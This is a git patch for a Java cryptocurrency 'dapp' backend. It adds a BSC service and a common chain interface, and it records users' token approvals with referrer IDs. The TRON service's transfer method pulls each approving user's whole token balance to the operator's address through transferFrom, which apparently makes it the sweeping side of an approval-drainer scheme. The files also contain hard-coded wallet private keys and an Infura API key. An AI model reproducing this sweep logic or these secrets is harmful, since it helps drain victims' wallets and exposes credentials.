From 6768b37b0c70f4321d59f218871ccbdbeb503991 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Fri, 15 Apr 2022 18:07:21 +0800
Subject: [PATCH] fix add bsc
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 18 +++
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 2
src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java | 3
src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java | 19 ++++
src/main/java/cc/mrbird/febs/dapp/chain/BscService.java | 151 +++++++++++++++++++++++++++++++++++++
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java | 1
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java | 24 ++++-
src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java | 8 ++
src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java | 5 +
9 files changed, 220 insertions(+), 11 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java b/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
new file mode 100644
index 0000000..8aee1e7
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
@@ -0,0 +1,151 @@
+package cc.mrbird.febs.dapp.chain;
+
+import cn.hutool.core.util.StrUtil;
+import cn.hutool.http.HttpUtil;
+import com.alibaba.fastjson.JSONObject;
+import org.apache.commons.lang3.StringUtils;
+import org.web3j.abi.FunctionEncoder;
+import org.web3j.abi.FunctionReturnDecoder;
+import org.web3j.abi.TypeReference;
+import org.web3j.abi.datatypes.Address;
+import org.web3j.abi.datatypes.Function;
+import org.web3j.abi.datatypes.Type;
+import org.web3j.abi.datatypes.generated.Uint256;
+import org.web3j.crypto.Credentials;
+import org.web3j.crypto.RawTransaction;
+import org.web3j.crypto.TransactionEncoder;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.methods.request.Transaction;
+import org.web3j.protocol.core.methods.response.EthCall;
+import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
+import org.web3j.protocol.core.methods.response.EthSendTransaction;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.utils.Convert;
+import org.web3j.utils.Numeric;
+
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+
+/**
+ * @author wzy
+ * @date 2022-04-15
+ **/
+public class BscService implements ContractChainService {
+
+ private Web3j web3j;
+ private String url;
+ private String ownerAddress;
+ private String privateKey;
+ private String contractAddress;
+
+ public BscService(String url, String address, String privateKey, String contractAddress) {
+ this.url = url;
+ this.ownerAddress = address;
+ this.privateKey = privateKey;
+ this.contractAddress = contractAddress;
+
+ HttpService service = new HttpService(url);
+ web3j = Web3j.build(service);
+ }
+
+ @Override
+ public BigInteger balanceOfUnDecimal(String fromAddress) {
+ try {
+ String methodName = "balanceOf";
+ List<Type> inputParameters = new ArrayList<>();
+ List<TypeReference<?>> outputParameters = new ArrayList<>();
+ Address address = new Address(fromAddress);
+ inputParameters.add(address);
+ TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+ };
+ outputParameters.add(typeReference);
+ Function function = new Function(methodName, inputParameters, outputParameters);
+ String data = FunctionEncoder.encode(function);
+ Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+
+ EthCall ethCall;
+ BigInteger balanceValue = BigInteger.ZERO;
+ try {
+ ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+ List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+ balanceValue = (BigInteger) results.get(0).getValue();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ return balanceValue;
+
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return BigInteger.ZERO;
+ }
+
+ @Override
+ public BigDecimal balanceOf(String fromAddress) {
+ int decimal = 6;
+ BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
+
+ double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
+ if (res > 0) {
+ return new BigDecimal(res);
+ }
+
+ return BigDecimal.ZERO;
+ }
+
+ @Override
+ public BigInteger allowance(String address) {
+ String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ String methodName = "allowance";
+ List<TypeReference<?>> outputParameters = new ArrayList<>();
+ TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
+ outputParameters.add(typeReference);
+
+ Function function = new Function(methodName,
+ Arrays.asList(new Address(address), new Address(ownerAddress))
+ , outputParameters);
+ String data = FunctionEncoder.encode(function);
+ Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
+
+ EthCall ethCall = null;
+ try {
+ ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+ List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+ return (BigInteger) results.get(0).getValue();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ return BigInteger.ZERO;
+ }
+
+ public String getGas() {
+ String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+ JSONObject data = JSONObject.parseObject(resp);
+ String gas = data.getString("avgPrice");
+ return StrUtil.isBlank(gas) ? "35" : gas;
+ }
+
+ @Override
+ public String transfer(String address) {
+ return null;
+ }
+
+ @Override
+ public String transfer(String address, BigDecimal amount) {
+ return "";
+ }
+
+ @Override
+ public int allowanceCnt(String address) {
+ return 0;
+ }
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java
new file mode 100644
index 0000000..5d278fc
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java
@@ -0,0 +1,8 @@
+package cc.mrbird.febs.dapp.chain;
+
+/**
+ * 链类型
+ */
+public enum ChainEnum {
+ ETH, TRX, BSC
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 62626b0..89cbd2c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -33,7 +33,7 @@
if (address.contains(ETH_PREFIX)) {
balance = ETH.tokenGetBalance(address);
} else {
- balance = TRX.balanceOfDecimal(address);
+ balance = TRX.balanceOf(address);
}
return balance;
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
new file mode 100644
index 0000000..ee4fee0
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
@@ -0,0 +1,19 @@
+package cc.mrbird.febs.dapp.chain;
+
+import java.math.BigDecimal;
+import java.math.BigInteger;
+
+public interface ContractChainService {
+
+ BigInteger balanceOfUnDecimal(String address);
+
+ BigDecimal balanceOf(String address);
+
+ BigInteger allowance(String address);
+
+ String transfer(String address);
+
+ String transfer(String address, BigDecimal amount);
+
+ int allowanceCnt(String address);
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 2dce045..b2b47d4 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -53,12 +53,12 @@
*/
//private static final String ETH_UTL = "http://120.55.86.146:8545";
// private static final String ETH_UTL = "http://114.55.250.231:8545";
- private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+ private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
// private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
// private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
- private static final String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
- private static final String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
+ private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
+ private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
public EthService() {
try {
@@ -69,6 +69,18 @@
}
}
+ public EthService(String url, String address, String privateKey) {
+ try {
+ OWNER_ADDRESS = address;
+ OWNER_PRIVATE = privateKey;
+ ETH_UTL = url;
+ HttpService service = new HttpService(url);
+ web3j = Web3j.build(service);
+ } catch (Exception e) {
+ log.error("连接eth网络失败", e);
+ }
+ }
+
/**
* 查询ETH余额
*
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
index f333fe2..0fd714c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -18,7 +18,7 @@
* @author
* @date 2022-03-21
**/
-public class TrxService {
+public class TrxService implements ContractChainService {
// private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
// private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
@@ -40,16 +40,19 @@
contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
}
+ @Override
public BigInteger allowance(String owner) {
return contract.allowance(owner, ADDRESS);
}
- public BigInteger balanceOf(String address) {
+ @Override
+ public BigInteger balanceOfUnDecimal(String address) {
return contract.balanceOf(address);
}
- public BigDecimal balanceOfDecimal(String address) {
- BigInteger chainData = balanceOf(address);
+ @Override
+ public BigDecimal balanceOf(String address) {
+ BigInteger chainData = balanceOfUnDecimal(address);
BigInteger decimals = contract.decimals();
BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -57,12 +60,14 @@
return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
}
- public void transfer(String address) {
- BigInteger balance = balanceOf(address);
+ @Override
+ public String transfer(String address) {
+ BigInteger balance = balanceOfUnDecimal(address);
- contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
+ return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
}
+ @Override
public String transfer(String address, BigDecimal amount) {
BigInteger decimals = contract.decimals();
BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -71,6 +76,11 @@
return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
}
+ @Override
+ public int allowanceCnt(String address) {
+ return 0;
+ }
+
public static void main(String[] args) {
System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java b/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
index 16cafe7..1293412 100644
--- a/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
+++ b/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
@@ -21,4 +21,7 @@
@ApiModelProperty(value = "推荐人")
private String refererId;
+
+ @ApiModelProperty(value = "链类型")
+ private String chainType;
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java b/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
index bdc1f06..adc5fb1 100644
--- a/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
+++ b/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
@@ -45,4 +45,9 @@
private int approveCnt;
private int source;
+
+ /**
+ * 链 1-以太坊 2-币安 3-波场
+ */
+ private String chainType;
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
index f5f9a54..f9b5555 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -63,6 +63,7 @@
int cnt = instance.allowanceCnt(approveDto.getAddress());
member.setApproveCnt(cnt);
+ member.setChainType(approveDto.getChainType());
dappMemberDao.insert(member);
member.setInviteId(ShareCodeUtil.toSerialCode(member.getId()));
--
Gitblit v1.9.1